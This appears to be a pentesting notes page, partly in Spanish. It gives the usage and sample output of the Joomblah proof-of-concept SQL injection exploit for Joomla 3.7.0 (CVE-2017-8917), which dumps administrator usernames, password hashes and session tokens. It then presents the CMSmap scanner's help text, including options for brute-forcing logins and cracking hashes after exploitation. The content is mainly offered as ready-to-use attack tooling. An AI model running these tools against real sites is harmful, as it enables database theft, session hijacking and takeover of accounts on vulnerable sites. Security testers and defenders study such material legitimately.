Exploit for Joomla 3.7.0 (CVE-2017-8917)

https://github.com/XiphosResearch/exploits/tree/master/Joomblah

Another proof of concept exploit for Joomla, whoop-de-doo, this time a SQL Injection in 3.7.0.

• https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html

Usage

Point the joomblah.py script at the vulnerable Joomla 3.7.0 install, it may take some time, but it will dump the users and session tables.

$ python joomblah.py http://127.0.0.1:8080
                                                                                                                    
    .---.    .-'''-.        .-'''-.                                                           
    |   |   '   _    \     '   _    \                            .---.                        
    '---' /   /` '.   \  /   /` '.   \  __  __   ___   /|        |   |            .           
    .---..   |     \  ' .   |     \  ' |  |/  `.'   `. ||        |   |          .'|           
    |   ||   '      |  '|   '      |  '|   .-.  .-.   '||        |   |         <  |           
    |   |\    \     / / \    \     / / |  |  |  |  |  |||  __    |   |    __    | |           
    |   | `.   ` ..' /   `.   ` ..' /  |  |  |  |  |  |||/'__ '. |   | .:--.'.  | | .'''-.    
    |   |    '-...-'`       '-...-'`   |  |  |  |  |  ||:/`  '. '|   |/ |   \ | | |/.'''. \   
    |   |                              |  |  |  |  |  |||     | ||   |`" __ | | |  /    | |   
    |   |                              |__|  |__|  |__|||\    / '|   | .'.''| | | |     | |   
 __.'   '                                              |/'..' / '---'/ /   | |_| |     | |   
|      '                                               '  `'-'`       \ \._,\ '/| '.    | '.  
|____.'                                                                `--'  `" '---'   '---' 

 [-] Fetching CSRF token
 [-] Testing SQLi
  -  Found table: rlbre_users
  -  Found table: tgukl_users
  -  Extracting users from rlbre_users
 [$] Found user ['361', 'Super User', 'admin', 'admin@example.com', '$2y$10$G4ivaKw71R4uIvuHYliSke5pHoh1Q.xm.Sk29d8zpzx4xJBfPoyEK', '', '']
  -  Extracting sessions from rlbre_session
 [$] Found session ['361', '3rfv8kql26s6kvimpbchneom85', 'admin']
  -  Extracting users from tgukl_users
 [$] Found user ['883', 'Super User', 'admin', 'admin@example.com', '$2y$10$5Za2zpqTdRo5x19cvO5biOKeiyOi2iTQ3u0SSLtcs6uvIvJhvM9aG', '', '']
  -  Extracting sessions from tgukl_session

CMSMAP

CMSmap  es un escaneador open source escrito en python, esta diseñado para detectar posibles vulnerabilidades y brechas de seguridad en los CMS mas populares como WordPress, Joomla y Drupal.

https://github.com/Dionach/CMSmap

La intalacion es Sencilla:

git clone https://github.com/Dionach/CMSmap.git

USO:

CMSmap tool v0.6 - Simple CMS Scanner
Author: Mike Manzotti mike.manzotti@dionach.com
Usage: cmsmap.py -t 
Targets:
     -t, --target    target URL (e.g. 'https://example.com:8080/')
     -f, --force     force scan (W)ordpress, (J)oomla or (D)rupal
     -F, --fullscan  full scan using large plugin lists. False positives and slow!
     -a, --agent     set custom user-agent
     -T, --threads   number of threads (Default: 5)
     -i, --input     scan multiple targets listed in a given text file
     -o, --output    save output in a file
     --noedb         enumerate plugins without searching exploits

Brute-Force:
     -u, --usr       username or file
     -p, --psw       password or file
     --noxmlrpc      brute forcing WordPress without XML-RPC

Post Exploitation:
     -k, --crack     password hashes file (Require hashcat installed. For WordPress and Joomla only)
     -w, --wordlist  wordlist file

Others:
     -v, --verbose   verbose mode (Default: false)
     -U, --update    (C)MSmap, (W)ordpress plugins and themes, (J)oomla components, (D)rupal modules, (A)ll
     -h, --help      show this help

Examples:
     cmsmap.py -t https://example.com
     cmsmap.py -t https://example.com -f W -F --noedb
     cmsmap.py -t https://example.com -i targets.txt -o output.txt
     cmsmap.py -t https://example.com -u admin -p passwords.txt
     cmsmap.py -k hashes.txt -w passwords.txt